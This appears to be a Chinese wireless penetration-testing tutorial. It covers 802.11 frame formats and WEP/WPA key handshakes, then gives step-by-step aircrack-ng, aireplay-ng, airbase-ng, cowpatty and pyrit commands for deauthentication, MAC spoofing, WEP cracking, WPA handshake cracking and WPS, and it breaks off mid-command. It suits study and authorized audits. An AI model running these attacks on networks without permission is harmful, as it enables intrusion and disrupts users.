无线渗透
无线技术特点
行业迅猛发展
互联网重要入口
边界模糊
安全实施缺失而且困难
技术人员对技术不了解而造成配置不当
企业网络私自接入
AP破坏网络边界
802.11标准
IEEE组织下802委员会下第11组负责开发无线局域网标准
无线标准涉及数据链路层(逻辑链路控制子层LLC、媒体访问控制子层MAC),物理层
802.11
发布于1997年
速率1Mbps或2Mbps
传输方式
红外线传输介质(未实现)
无线射频信号编码(调制)
直序扩频
DSSS跳频扩频
FHSS
媒体访问方式–CSMA/CA(载波侦听多路访问/冲突避免)
根据算法侦听信道
发送数据包前进行发包声明
Reqest to Send/Clear to Send(RTS/CTS)
请求发送协议
清除发送协议
计算公式:c=b+log2(1+s/n) 无线网络传输数据量=频宽+log2(1+信号强度/噪声(信噪比))
802.11b
信号调制方法为Complementary Code Keying(CCK)–补充代码键
无线传输速率为5.5Mbit/s或11Mbit/s
工作频宽为2.4GHz(2.4GHz-2.485GHz)
分为14个重叠的信道
每个信道22MHz带宽
只有三个完全不重叠的信道
802.11a
工作频宽为5GHz,拥有更多的带宽空间,可容纳更多不重叠的信道
采用正交频分复用技术(OFDM)信号调制方法
传输速率为54Mbps
每个信道20MHz带宽
变频
5.15GHz-5.35GHz室内5.7GHz-5.8GHz室外
802.11g
工作频宽为2.4GHz
采用正交频分复用技术(OFDM)信号调制方法
与802.11a速率相同,传输速率为54Mbps
可全局降速,向后兼容802.11b,并切换为CCK信号调制方法
每个信道20MHz或22MHz带宽
802.11n
工作频宽为2.4GHz或5GHz
传输速率为300Mbps,最高600Mbps
采用MIMO多进多出通信技术
多天线,多无线电波,独立收发信号
可以使用40MHz信道带宽使数据传输速率翻倍
在全802.11n设备网络中,可以使用新报文格式,使速率达到最大
每个信道带宽为20MHz或40MHz
无线网络运行模式
Infrastructure
基础设施;基础建设
至少包含一个AP和一个STATION(客户端),形成一个BSS(Basic Service Set)(基本服务集)
AP连接到有线网络,称为DS(Distribution System)(分发系统)
连接到同一个DS的多个AP形成一个ESS(Extended Service Set)(扩展服务集合)

ESSID:类似于SSID,表示多个AP连接到同一个DS上时的名称
BSSID:终端设备连接到的AP的MAC地址
SSID(Service Set Identifier)
AP每秒钟约10次通过Beacon帧广播SSID
客户端连接到无线网络后也会宣告SSID
AD-HOC
点对点模式
也被称为Independent Basic Service Set(IBSS)
也被称为peer to peer模式
最简单的莫过于两台安装有无线网卡的计算机实施无线互联,其中一台计算机连接Internet就可以共享带宽
有至少2个STATION直接通信组成
其中一个STATION负责AP的工作
通过
Beacon广播SSID对其他
STATION进行身份验证
WIRELESS DISTRIBUTION SYSTEM(WDS)
与有线DS类似,只是多个AP通过无线连接组成网络
Bridging模式(网桥模式):设备连接各自的AP,各个AP进行彼此通信Repeating模式(中继方式):只要无线范围允许,则允许所有AP和STATION进行通信

MONITOR MODE
Monitor不是一种真的无线模式
对无线渗透至关重要
允许无线网卡不进行任何筛选的抓包(正常情况下是无法抓得802.11包头的)
相当于有线网络的混杂模式
适合的网卡和驱动不但可以Monitor(抓包),更可以Injection(注入包)
无线网络硬件设备及基本概念
无线网卡准备
查看硬件的检测或者断开连接的信息1
dmesg
查看无线网卡信息1
iwconfig
无线网卡的芯片型号是成败的关键
Atheros或Realtek芯片
台式机
USB无线网卡(不支持扩展天线)PCMCIA(16位,已停产,支持802.11b)Cardbus(32位,PCMCIA8.0标准)Express CardsMiniPCIMiniPCI ExpressPCI接口卡
发送功率:决定远程连接的范围大小。使用扩展天线可增大发送功率,增加远程连接范围
接收灵敏性:适当降低灵敏度,接收效果更佳
查看兼容aircrack-ng suite的无线网卡型号
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#list_of_compatible_adapters
无线技术概念
分贝(dB)
表示2个信号之间的差异比率,用于描述设备的信号强度,是一个相对值
dBm
功率值与1mW进行比较的dB值结果
dBm=10*lg(功率值/1mW)
每增加3dBm,功率增加约1倍
每增加10dBm,功率增加10倍

dBi
全向天线的信号功率增益
增益是指信号功率强度增加了多少dB
增益过高的全向天线会变成定向天线
dBd
定向天线的信号功率增益
全向天线在所有方向上收发信号,定向天线在指定方向的范围内收发信号
功率相同时,定向天线比全向天线传输距离更远(方向正确的情况下)
天线增益越大,信号传输距离越远
Linux无线协议栈及配置命令
无线协议栈分为内核栈与用户空间栈
内核栈用于底层接口及驱动程序支持
用户空间栈为为用户提供使用命令等

802.11协议栈
IEEE802111
2iwconfig
iwlistmac802111
iw
无线网卡配置
查看无线网卡
查看无线网卡信息1
iwconfig
查看无线网卡详细信息1
iw list
查看信道频率1
2
3iwlist wlan0 frequency
iw list
扫描附近AP
1 | iw dev wlan0 scan | grep SSID # 查看附近AP |
添加删除网卡侦听接口
添加网卡侦听接口1
2
3
4service network-manager stop #将有冲突的network-manager服务停止
ifconfig wlan0 up #启动外接无线网卡
iw dev wlan0 interface add wlan0mon type monitor #添加无线网卡接口为monitor模式,且命名为wlan0mon
ifconfig wlan0mon up #启动wlan0mon无线网卡
抓802.11数据包1
tcpdump -i wlan0mon -s 0 -w dump.cap
删除网卡侦听接口1
iw dev wlan0mon interface del
RADIOTAP头部
802.11帧发送和接收依赖Radiotap头完成通信过程
Linux系统在驱动和API中内建支持Radiotap
802.11帧发送之前,网卡驱动在802.11头前添加Radiotap头
当网卡接收到无线帧时,驱动通知802.11的MAC层,此帧中包含Radiotap头,须先处理Radiotap头
Radiotap为802.11帧传递额外信息,厂家可自定义,因此头长度不固定,但不可破坏Radiotap原始包头结构
Radiotap包头结构
分为Header与Data两部分
Header revision:始终为0(8位)
Header pad:占位符,始终为0(8位)
Header length:Radiotap包头长度,可变(16位)
Present flags:数据位掩码(32位),可扩展,取决于Ext位

根据数据位掩码情况,决定包头中数据部分内容
802.11头部
概念
DU:数据单元,信息传输的最小数据集合
传递过程逐层封装
SDU:服务数据单元,用于高层协议的信息单元传到低层协议
PDU:协议数据单元,对于上层而言,为PDU;对于下层而言,为SDU
MSDU:MAC服务数据单元,对于媒体访问控制子层MAC来说
MPDU:MAC协议数据单元,对于物理层来说为PSDU


802.11 MAC头部

Frame Control(帧控制域,16位)
Duration/ID(持续时间/标识,16位):表明该帧和它的确认帧将会占用信道多长时间
Address(地址域,各48位):源地址(SA)、目的地址(DA)、传输工作站地址(TA)、接收工作站地址(RA)
Sequence Control(序列控制域,16位):用于对数据段进行编号,用于分段发送、重组
Frame Control(帧控制域)
Protocol Version(协议版本,2位):始终为0、1、2、3
Type(类型域,2位):指出帧的类型(管理帧0、控制帧1、数据帧2)
Subtype(子类型域,4位):指出帧的子类型。协议规定不同类型/子类型的帧完成不同功能的操作
To DS(1位):标识帧的传输方向,为1表明该帧是BSS向DS发送的帧
From DS(1位):标识帧的传输方向,为1表明该帧是DS向BSS发送的帧
To DS字段与From DS字段的值决定着MAC头中4个Address字段的不同含义

00:
IBSS环境(此帧为管理帧或者控制帧)。或者AD-Hoc环境下两个STATION间通信01:表示数据帧从
AP向STATION传递10:表示数据帧从
STATION向AP传递11:表示两个
AP间通信,WDS环境下的AP间的通信。或者Mesh(无线网格网络)环境下MP间的通信
More Frag(1位):用于说明长帧被分段的情况,后续是否还有其它的帧。为1表示有后续分段。此帧可能为数据帧或管理帧。只有单播接收地址的帧会被分段
Retry(重传域,1位):用于帧的重传,接收STATION利用该域消除重传帧。为1表示此帧为重传帧。此帧可能为数据帧或者管理帧
Pwr Mgt(能量管理域,1位):为1表示STATION处于power_save(省电)模式。为0表示STATION处于active(活动)模式。当STATION处于省电模式时,向关联的AP发送该值为1的帧(AP不使用此字段),省电模式下的STATION不接收数据(只可接收AP发来的特定类型的帧),发送给它的数据帧由AP暂时缓存,AP向STATION发送唤醒类型帧将其唤醒为活动状态,STATION主动向AP索要暂存的数据帧
More Data(更多数据域,1位):当AP缓存了至少一个MSDU时,会向省电模式的STATION发送该值为1的帧,表示有数据要传输给STATION,接收到此帧的STATION唤醒自己并向AP发送PS-Poll帧,取回由AP为其缓存的数据。或者也可用于AP有更多的广播/多播帧需要发送的情况
Protected Frame(保护域,1位):为1表示帧体部分包含被密钥套处理过的数据;也用于表示PSK身份验证的Frame#3帧。否则为0
Order(序号域,1位):为1表示在非QoS帧的情况下,长帧分段传送采用严格编号方式,按顺序处理。否则为0
Duration/ID(持续时间/标识)
所有控制帧都是用该字段,其作用随Type/SubType变化有所不同
帧类型为PS Poll(type:1,subtype:10)时,该字段表示STATION关联的AID(association identity,关联标识)
其他情况下该字段作为一种载波侦听机制,表示接收下一帧之前需要保持的时间间隔,用于NAV(Network Allocation Vector,网络位置向量)计算,单位微秒
Sequence Control(序列控制域)
包含两个子字段:Sequence Number,Fragment Number
Sequence Number是每个帧的编号,数值范围是0-4095,以1为步长递增。当帧被分段时,同一帧中不同分段的Sequence Number相同
Fragment Number是被分段的帧用于标识分段位置顺序的编号,数值范围0-15,以1为步长递增
802.11 MAC数据段
Frame Body
变长
数据字段,未加密的最大MSDU长度为2304字节(包含最大256字节的上层头信息和可被传递的数据2048字节)
不同的加密方法会增加一定的内容长度
WEP加密:增加8字节,总长度为2312字节TKIP(WPA1)加密:增加20字节,总长度为2324字节CCMP(WPA2)加密:增加16字节,总长度2320字节
控制帧中无Frame Body内容
802.11 MAC校验
FCS(32位)
发送端对全部MAC包头和Frame Body内容进行CRC计算,计算结果即为FCS值
接收端接收到帧时,对全部MAC包头和Frame Body内容进行同样计算,与FCS值进行比较,结果一致时,向发送端返回ACK,否则丢弃帧(只对单播帧有效,FCS错误的广播/多播帧可能被接收)
wireshark抓包时可能已经删除了FCS值
CONTROL FRAME(控制帧)
802.11头部中的Frame Control中Type为1
控制帧是一些通知设备开始、停止传输或连接失败等情况的短消息

ACK帧
接收端正确接收数据后向发送端返回ACK确认
每个单播帧需要立即确认ACK,组播和广播帧不需要ACK确认
由硬件完成,非驱动层
帧类型:1/13(Type/Subtype)

PS-POLL帧
RF系统的放大器:主要耗电的组件,发射前放大信号,接受并放大还原信号
AID:Association ID、关联标识,当STATION连接到一个AP时,AP会向STATION发送一个AID,存于STATION内存中
STATION省电模式唤醒
数据发送至
AP(AP缓存数据包)AP向STATION通过Beacon发送TIM,其中包含AIDSTATION对比AID后唤醒网卡STATION发送PS-Poll帧,请求从AP缓存中取回数据

每个帧都需要ACK确认
AP接收到ACK后,从缓存中删除数据帧
传输过程中STATION保持唤醒状态
传输结束后STATION恢复省电状态
AP接收PS-Poll帧后,可选择立即响应或延迟响应,延迟响应时AP需向STATION返回简单响应帧,通知STATION延迟响应

AID:关联ID
BSSID:STATION正关联的AP地址
TA:发送此帧的STATION地址
RTS/CTS帧
RTS/CTS是CSMA/CA方法的一种补充手段
降低冲突产生的可能性
正式通信之前通过请求应答机制,确信通信介质的可用性
锁定传输介质并预约通信时间
只有在传输长帧时使用,传输短帧时不会使用。驱动接口提供阈值的自定义,大于阈值的帧被视为长帧,反之为短帧
有效避免隐藏节点。无线网络内存在节点1,2,3。1与3距离太远无法直接通信,2与1和3都可进行通信。对于1来说,3就是一个隐藏节点。因
RTS/CTS是广播包,当2与1通信发出RTS/CTS包时,3也会收到,知晓信道的占用,避免了冲突的发生
传输过程
1发送Request to Send包给2
若未发生冲突,2返回Clear to Send给1
1传输数据
数据接收正常,2返回ACK,否则1无接收数据

RTS帧长度20字节

CTS帧长度14字节

MANAGEMENT FRAME(管理帧)
802.11头部中的Frame Control中Type为0
用于协商和控制STATION与AP之间的关系

BEACON FRAMES帧
AP发送的广播帧,通告无线网络的存在(BSSID)
发包频率为102.4ms(可变)
可禁止AP发送此种广播帧,达到隐藏AP的目的

PROBE REQUEST FRAMES帧
用于STATION扫描现有AP
发现连接过的与未连接过的AP
扫描请求帧:
当扫描到连接过的AP时,若支持速率、ESSID都相同,AP则会响应STATION
响应帧:
AUTHENTICATION FRAMES帧
身份认证

Authentication Algorithm
身份认证类型
身份认证由多个帧交换过程组成
0:开放系统身份认证
1:共享密钥身份认证
Authentication Seq
身份认证序列号
每次身份认证过程Seq唯一
依次增长(1-65535)
Challenge text
共享密钥身份认证方式存在此字段
Status Code
表示身份认证成功/失败
ASSOCIATION/REASSOCIATION FRAMES帧
关联帧/重新关联帧
身份认证成功后,STATION执行关联操作,加入无线网络
Association Request帧
STATION请求关联AP

Reassociation Request帧
STATION请求重新关联AP

Association Response帧
AP对STATION的关联请求的响应
状态码:关联成功/失败

DISASSOCIATION/DEAUTHENTICATION帧
解除关联/解除身份认证
由AP发出

Reason code:表示解除的原因

ATIM FRAMES帧
只在Ad-hoc网络下使用
STATION(具有AP功能的)使用此帧通知接收STATION其有缓存的数据要接收

DATA FRAME(数据帧)
802.11头部中的Frame Control中Type为2

传输用户数据
空数据帧:只包含MAC头和FCS,用于STATION声明自己将要进入省电模式
无线通信过程

Probe(探测)
STATION向所有信道发出probe帧,发现AP
AP应答,回复probe response
WEP探测过程
AP在发送Beacon时标识其使用WEP加密
STATION发现AP时,发送普通Probe帧
AP响应probe response帧时声明其采用WEP加密
WPA探测过程
AP在发送Beacon时标识其使用WPA1加密
STATION发现AP时,发送普通Probe帧
AP响应probe response帧时声明其采用WPA1加密:不同厂商对802.11标准的实现方式不同;在包头中包含WPA1字段信息
Authentication(认证)
STATION向AP发出验证请求
发生认证过程(过程不唯一)
AP响应STATION的认证结果
WEP OPEN认证过程
WEP OPEN认证与OPEN认证通信过程相同,不同的是开放身份认证前者数据被WEP加密,后者无加密
正确认证后通信数据被WEP加密
如果认证时客户端输入错误密码,认证依然可以通过,但AP将丢弃该STATION的数据包(起始向量被错误的密钥解密后完整性被破坏,导致数据传输失败)
认证响应正确,身份验证成功
WEP PSK(共享密钥)认证过程

STATION发送认证请求AP返回随机Challenge(挑战)消息STATION使用PSK加密Challenge并发回APAP使用PSK解密密文,获得Challenge并与原始Challenge比对,相同则验证成功,不同则验证失败
大部分无线驱动首先多次尝试open验证,如失败则尝试PSK
Association(关联)
无论使用什么加密架构,关联过程完全相同
STATION发出关联请求
AP响应关联请求
关联成功,开始通信
STATION关联包中必须包含目标AP的ESSID,可以通过嗅探此关联包,发现隐藏AP的存在
加密
无线安全根源
802.11基于无线电波发射信息
嗅探侦听是主要问题
加密机制是必须手段
Wired Equivalent Privacy(WEP)
802.11标准的一部分
发布后不久被发现存在安全漏洞
Wi-Fi Protected Access(WPA)取代WEP
基于802.11i标准实现WPA2
OPEN 无加密网络
无任何加密机制
所有数据都可以被嗅探
STATION和AP只协商拼配参数即可连入网络
WEP加密系统
使用RC4算法加密流量内容,实现机密性
使用CRC32算法检查数据完整性(ICV值)
标准采用24位initialization vector(IV)(起始向量)
IV值与密码(PSK)共同组成加密key
RC4算法
对称流加密算法
实现简单,速度快
加密:对明文流和密钥流进行XOR运算
RC4算法生成加密key:
合并
IV与PSK,利用KSA算法生成起始状态表将起始状态表利用
PRGA算法生成最终密钥流

解密:对密文流和密钥流进行XOR运算

WPA安全系统
Wi-Fi Protected Access
802.11i组为提高无线安全,开发两个新的链路层加密协议
TKIP(Temporal Key Integrity Protocol)(临时密钥完整性协议):WPA1(较之WEP可动态改变密钥)CCMP(Counter Mode with CBC-MAC)(计数器模式密码块链消息完整码协议):WPA2
WPA加密的两种安全类型
WPA个人:使用预设共享密钥(PSK)实现身份认证WPA企业:使用802.1X和radius服务器实现AAA(认证、授权、审计)。实现用户名密码身份认证

用户连接AP,输入帐号密码进行身份认证,AP将身份认证信息传送至后台服务器进行认证,返回认证结果
EAP协议:扩展的身份认证协议。统一兼容整合各种不同的身份认证方法的框架
WPA1
802.11i第三版草案
与WEP相比:
都采用逐包进行密钥加密
128位的
key和48位的IV(初始向量)RC4流加密数据使用帧计数器避免重放攻击
TKIP使用Michael算法进行完整性校验兼容早期版本硬件
WPA2
依据802.11i完全重新设计实现
也称为RSN
CCMP替代TKIP
AES加密算法取代RC4
不兼容早期版本硬件
WPA企业连接过程

协商安全协议
进行身份认证
密钥分发和验证
数据加密,完整性校验
WPA个人连接过程

协商安全协议
密钥分发和验证
数据加密,完整性校验
协商安全协议过程
协商认证方式:
PSK或802.1X选择单播和组播/广播流量加密套件:
TKIP或CCMPSTATION通过probe获取无线网络信息:速率、加密算法、通道、名称
身份认证过程(WPA企业)
基于EAP协议实现(三种认证方式):
EAP-TLS:需要互相验证客户端证书与服务器证书EAP-TTLSPEAP:混合身份认证,只需验证服务器证书
身份认证流程:
AP将其所支持的身份认证方式发送给客户端,由客户端选择自身所支持的且较为安全的身份认证方式AP将身份验证信息发送给Radius Server进行验证Radius Server返回Radius Accept表示认证成功,其中包含Master Key(MK)AP通过EAP消息将Master Key通知给STATION,认证成功
密钥交换
无线网络设计之初用于一组无线设备进行通信
关联到同一AP的设备共享无线信道
在同一无线网络中。分为单播、广播、组播,三种方式安全特性要求不同
单播通信需要单独密钥加密通信双方流量:pairwise key(PTK)对偶密钥
组播通信需要信任域内所有成员共享同一密钥:group key(GTK)组密钥
PTK与GTK为临时性密钥,会按时更新
PMK
256位(32字节)的HASH值
WPA企业
MK进行TLS-PRF加密得出PMK,PMK通过计算得到PTK,PTK用于STATION与AP间的通信加密
WPA个人
ESSID+PSK+迭代4096次,通过HASH计算生成PMK,PMK通过计算得到PTK,PTK用于STATION与AP间的通信加密
STATION与AP分别通过相同的算法、信息计算PMK,并不在网络中进行传递交换
PTK的生成过程

PMK+两个随机数+AP的MAC地址+STATION的MAC地址,通过HMAC-SHA1散列算法或PRF-X散列算法生成PTK
PTK中分为DATA ENCR(用于数据传输加密)、DATA MIC(完整性校验)、EAPOL ENCR(进行身份认证时传输加密)、EAPOL MIC(进行身份认证时完整性校验)
四步握手生成PTK

AP发送Anonce给STATION,STATION生成Snonce,通过这两个随机数与其他信息即可计算出PTKSTATION将Snonce与PTK的MIC(完整性校验)发送给AP,AP拿到Snonce,计算出PTK。后进行双方PTK的MIC校验,既可校验PTK,又可判断PMK,进一步可判断PSKAP发送GTK与GTK的MIC给STATIONSTATION针对GTK会使用另外的算法进行计算,校验。无误后向AP回复ACK并使用密钥加密
数据加密,完整性校验
三种算法
TKIPCCMPWRAP(已废弃)
无线渗透实操
无线渗透第一个、最重要的任务是连接进入要渗透的无线网络(获取身份认证信息)
AIRCRACK-NG基础
无线渗透和审计神器
包含网络检测、嗅探抓包、包注入、密码破解等功能的工具套件
airmon-ng启动侦听
配置无线网卡正常工作
1 | service network-manager stop |
检测无线网卡硬件信息、驱动信息
1 | airmon-ng |
检测AIRCRACK-NG工具与操作系统的兼容性问题
1 | airmon-ng check |
将无线网卡映射进入Kali虚拟机
启动侦听(将网卡置为monitor模式)
1 | airmon-ng start wlan0 5 # 启动侦听,并指定工作信道 |
airodump-ng无线抓包
抓包
1 | airodump-ng wlan2mon |

BSSID:AP的MAC地址
PWR:网卡接收到的信号强度,距离越近信号越强。当此值为-1时,表示驱动不支持的信号强度或STATION距离超出信号接收范围
RXQ:最近10秒成功接收的数据(数据帧、管理帧)的百分比,只有在指定信道抓包时此列才会出现
Beacons:接收到此AP发送的beacon帧数量
#Data:抓到的数据(数据帧、管理帧)的数量(在WEP加密中表示IV数量),包含广播数据帧
#/s:最近10秒内,每秒平均抓到的帧的数量
CH:信道号(从beacon帧中获得),信道重叠时可能会发现其他信道
MB:AP支持的最大速率
ENC:采用的无线安全技术(WEP、WPA、WPA2、OPEN)
CIPHER:AP所使用的加密套件(CCMP、TKIP、WEP40、WEP104)
AUTH:AP所使用的身份认证方式(MGT、PSK(WPA预设共享密钥)、SKA(WEP预设共享密钥)、OPEN)
ESSID:无线网络名称。隐藏AP的此值可能为空。airodump可以从probe和association request帧中发现隐藏AP
STATION:终端的MAC地址
Lost:通过sequence number判断最近10秒STATION发送丢失的数据包数量(管理帧、数据帧)。影响此值的因素:干扰、距离、发包不能收,收包不能发
Packets(Frames):STATION发送的数据包数量
Probes:STATION正在探测的ESSID
1 | airodump-ng wlan2mon -c 1 |

airodump-ng排错
不显示任何AP和STATION信息
尝试禁用
network-manager服务确认无线网卡在
managed模式下可以正常工作物理机使用内置无线网卡时,确保
BIOS中已启用无线网卡尝试卸载驱动(
rmmod)和重新加载驱动(modprobe)
工作一段时间后airodump-ng无法继续抓包
airmon-ng check kill确认
wpa_supplicant进程已停止
aireplay-ng注入包
基本测试
检测AP对probe requests广播的响应
向每个AP发送30个包
判断网卡成功发送并可接收包的能力
多次测试,避免无线通信质量不稳定
1 | aireplay-ng -9 wlan0mon |
向隐藏AP/指定SSID注入包测试
1 | aireplay-ng -9 -e ESSID -a 00:00:00:00:00:00 wlan0mon |
card to card 注入测试
同一主机拥有两块置为monitor模式的无线网卡
其中网卡1作为发包方,网卡2模拟为一个AP,作为收包方,测试0-8号无线包是否可以注入
1 | aireplay-ng -9 -i wlan0mon wlan1mon |
MAC地址绑定攻击
网络管理员误认为MAC绑定是一种安全机制,但其实在软件层面可以将MAC地址临时或者永久修改掉
设置AP
将AP设置为open模式
设置MAC地址白名单,只允许一个MAC链接到此AP
配置用于侦听的一台kali
可以通过无线信道侦听,获取到与AP正常通信的无线网卡的MAC地址
1 | service network-manager stop |
配置用于攻击的另一台kali
当一个AP采用open认证方式,无任何加密方法,但无法进行连接时,则可能进行MAC地址绑定
修改无法连接AP的无线网卡的MAC地址1
2
3ifconfig wlan0 down
macchanger -m 00:00:00:00:00:00 wlan0 # 将wlan0网卡的MAC地址进行修改 -m:指定要修改成的MAC地址
ifconfig wlan0 up
此时使用修改过MAC地址的无线网卡连接配置MAC地址绑定的AP,则可实现连接
此时,正常通信的无线网卡与修改过MAC地址的无线网卡两者的MAC地址相同,当两者与AP进行通信时,会出现丢包的情况
WEP攻击
WEP密码破解原理
IV值并非完全随机
每224个包可能出现一次IV重用
收集大量IV值之后找出相同IV及其对应密文,分析得出共享密码
ARP回包中包含IV
IV足够多的情况下,任何复杂程度的WEP密码都可以被破解
WEP共享密钥破解

启动
monitor模式启动抓包并保存
抓取正常设备与
AP的Challenge(挑战)消息和使用PSK加密Challenge的消息,通过这两者的XOR计算得出keysrteam(密钥流)当
STATION与AP进行关联身份认证时才可能会抓取到两者消息,正常STATION与AP在通信过程中不会产生这两者信息,可以使用aireplay-ng的Deauthentication(0号包注入方式)使STATION与AP断开连接,此时STATION与AP会重新尝试连接进行身份认证,则可进行抓取Deauthentication攻击方式在无客户端情况下攻击无效Deauthentication排错:物理足够接近被攻击者
与被攻击者使用相同的无线标准
b、n、gSTATION可能拒绝广播帧,建议-c指定STATION
利用
keystream即可与AP建立关联(fake authentication)fake authentication排错:某些
AP验证客户端MAC地址OUI(MAC地址前三个字节),确保MAC地址非任意伪造AP存在MAC地址绑定,首先进行MAC地址绑定攻击,再进行WEP攻击报错
denied(code 1)is WPA in use,表示AP使用WPA/WPA2加密方式,非WEP,不支持fake authentication使用真实
MAC地址物理靠近
AP侦听信道必须与
AP的工作信道一致
执行
ARP重放airodump-ng抓包界面中的#Data数值在WEP中表示抓取到的IV值AP发出的ARP响应包中包含有IV值,通过进行ARP的重放,获取大量IV值首先,攻击者执行
ARP重放,但此时攻击者没有合法的ARP请求包攻击者使用
Deauthentication(0号包注入方式)使STATION与AP断开连接,此时STATION与AP会重新尝试连接,重新进行ARP请求,抓取STATION的ARP请求包,攻击者利用此包进行重放即可获取大量ARP响应包,获取大量IV值
使用已抓取到的
IV值,尝试进行密码破解
攻击过程
设置
AP为WEP加密方式,密钥长度128位侦听无线信道,保存
1
airodump-ng -c 11 --bssid 00:00:00:00:00:00 -w wep wlan0mon
抓取到的
XOR计算的keystream保存在当前目录下的.xor文件中,以密文方式存储使用
Deauthentication攻击方式抓取计算keystream,每次攻击发送128个包,64个给AP,64个给STATION,需要足够接近被攻击者1
2
3
4
5aireplay-ng -0 1 -a 00:00:00:00:00:00 -c 11:11:11:11:11:11 wlan0mon
-0:第零种包注入方式,只注入包一次,0表示持续发包
-a:指定AP的MAC地址
-c:指定STATION的MAC地址,不指定此参数时,以广播方式攻击所有客户端利用
keystream与AP建立关联1
2
3
4
5
6
7
8
9aireplay-ng -1 60 -e kifi -y wep-xxx.xor -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0mon
-1:第一种包注入方式,每60秒进行重新关联
-e:指定要关联的AP的ESSID
-y:指定keystream文件
-a:指定AP的MAC地址
-h:指定攻击者无线网卡的MAC地址
-o:每次身份认证只发一次认证数据包,默认为重复三次
-q x:每x秒发送keep-live帧执行
ARP重放1
2
3
4
5aireplay-ng -3 -b 00:00:00:00:00:00 -h 11:11:11:11:11:11 wlan0mon
-3:第三种包注入方式
-b:指定AP的MAC地址
-h:指定攻击者无线网卡的MAC地址触发
ARP包的产生1
2
3
4
5aireplay-ng -0 1 -a 00:00:00:00:00:00 -c 11:11:11:11:11:11 wlan0mon
-0:第零种包注入方式,只注入包一次
-a:指定AP的MAC地址
-c:指定STATION的MAC地址AP密码破解1
aircrack-ng wep-01.cap
WPA攻击
WPA PSK攻击
WPA无WEP的弱点,只可使用暴力破解方式
PSK破解过程
启动
monitor1
2
3
4service network-manager stop
airmon-ng check kill
airmon-ng start wlan0 11 # 设置无线网卡与`AP`处于同一信道
airodump-ng wlan0mon -c 11 --bssid 00:00:00:00:00:00 -w wpa抓包并保存
Deauthentication攻击获取四步握手信息1
aireplay-ng -0 1 -a 00:00:00:00:00:00 -c 11:11:11:11:11:11 wlan0mon
使用字典进行暴力破解
1
2
3aircrack-ng -w a.txt wpa-01.cap
-w:指定密码字典
无AP时WPA密码破解
当攻击者远离AP,但接近STATION,或者无AP时。
正常情况下,STATION在连接AP时,会向周围网络中发送数据包,探测STATION曾经连接过的AP是否在范围内,如果在,则自动进行连接。
这时,STATION会向周边网络透露无线连接信息,通过抓包可以掌握AP的名称等信息,以这些信息来伪造此AP;若加密方式相同,STATION会连接此伪造AP,通过抓取此连接过程四步握手中的前两步进行破解
启动
monitor开始抓包并保存
根据
probe信息伪造相同ESSID的AP1
2
3
4
5
6
7airbase-ng --essid xxx -c 11 wlan0mon
--essid:设置伪造AP的名称
-c:设置伪造AP的工作信道
-w:表示使用WEP加密方式,默认为open认证方式
-z:表示使用WPA1加密方式,-z 2为TKIP方式
-Z:表示使用WPA2加密方式,-Z 4为CCMP方式抓取四步握手中的前两个包
使用字典进行暴力破解
ESSID+PSK+迭代4096次,通过HASH计算生成PMKPMK+两个随机数+AP的MAC地址+STATION的MAC地址,通过HMAC-SHA1散列算法或PRF-X散列算法生成PTK此时通过字典暴力破解
PSK,通过不断与STATION尝试连接即可1
aircrack-ng -w a.txt wpa-01.cap
提高WPA攻击效率工具
WPA攻击中,抓取数据包并不是攻击中的难点,难点在于抓取数据包后使用字典密码破解的过程
AIROLIB破解密码
设计用于存储ESSID和密码列表,使用SQLite3存储数据
AIROLIB首先结合ESSID以及密码列表,通过计算生成PMK存储于数据库,此过程会消耗大量资源
在真正破解阶段,AIROLIB会直接使用已经生成好的PMK来生成PTK,之后通过完整性校验来破解密码,此过程速度快,且资源消耗较少,以此来提高破解速度
生成PMK
1 | echo kifi > essid.txt # 将要破解AP的ESSID存于文件中 |
破解密码
1 | aircrack-ng -r db wpa-01.cap |
JTR破解密码
John the ripper
支持规则扩展密码字典,避免存储大容量字典文件
获取地区手机号段,使用JTR动态增加号段后四位,实现破解
修改John the ripper配置文件
1 | vim /etc/john/john.conf |
生成字典测试
1 | john --wordlist=yd.txt --rules --stdout |
破解调用
1 | john --wordlist=yd.txt --rules --stdout | aircrack-ng -e kifi -w - wpa-01.cap |
COWPATTY破解密码
WPA密码通用破解工具
使用密码字典进行破解
1
2
3
4
5cowpatty -r wpa-01.cap -f a.txt -s ESSID
-r:指定抓包文件
-f:指定密码字典
-s:指定要破解AP的ESSID使用
PMK彩虹表生成彩虹表
1
2
3
4
5genpmk -f a.txt -d pmkhash -s ESSID
-f:指定密码字典
-d:指定生成的彩虹表存储的位置
-s:指定要破解AP的ESSID
使用生成的彩虹表破解密码
1 | cowpatty -r wpa-01.cap -d pmkhash -s ESSID |
PYRIT破解密码
与AIROLIB、COWPATTY相同,支持基于预计算PMK的方式来提高破解速度
优势:
pyrit除CPU外,可以利用GPU计算能力加速生成PMK本身支持抓包可获取四步握手,无需使用
airodump抓包也支持传统的读取
airodump抓包获取四步握手的方式
使用pyrit抓取WPA四步握手
1 | pyrit -r wlan0mon -o wpapyrit.cap stripLive |
分析pyrit所抓取的四步握手数据包
1 | pyrit -r wpapyrit.cap analyze |
使用airodump抓取的数据包,导入pyrit并筛选
1 | pyrit -r wpa-01.cap -o wpapyrit.cap strip |
使用密码字典直接破解
1 | pyrit -r wpapyrit.cap -i a.txt -b 00:00:00:00:00:00 attack_passthrough |
数据库模式破解
默认使用基于文件的数据库,支持连接SQL数据库,用于存储计算的PMK
查看默认数据库的状态
1 | pyrit eval |
导入密码字典,同时会剔除不合规的密码
1 | pyrit -i a.txt import_passwords |
指定ESSID
1 | pyrit -e ESSID create_essid |
计算PMK(使用GPU资源)
1 | pyrit batch |
使用PMK彩虹表破解密码
1 | pyrit -r wpapyrit.cap -b 00:00:00:00:00:00 attack_db |
WPS攻击
WIRELESS PROTECTED SETUP
WPS是WiFi联盟2006年开发的一项技术
通过
PIN码来简化无线接入的操作,无需记住PSK路由器与网卡各按一个按钮就可接入无线
PIN码分为前后各4位的两段,共8位数字
安全漏洞
2011年发现存在安全漏洞
接入发起方可以根据路由器的返回信息判断
PIN前4位是否正确PIN码的后4位只有1000种定义的组合(最后一位为校验值)全部穷举破解测试只需要11000次尝试,破解
PIN后,即可读取到PSK标准本身没有设计多次尝试锁定机制,目前多个厂商已实现锁定机制
包括Linksys在内的很多厂家的无线路由器无法关闭WPS功能,即使在WEB界面中有关闭WPS按钮,配置也不会生效
攻击难度相对较低,防御却十分困难
一般可在4-10小时内爆破出PSK
攻击过程
启动侦听模式后,发现支持
WPS技术的AP1
2
3
4
5wash -C -i -c 11 wlan0mon
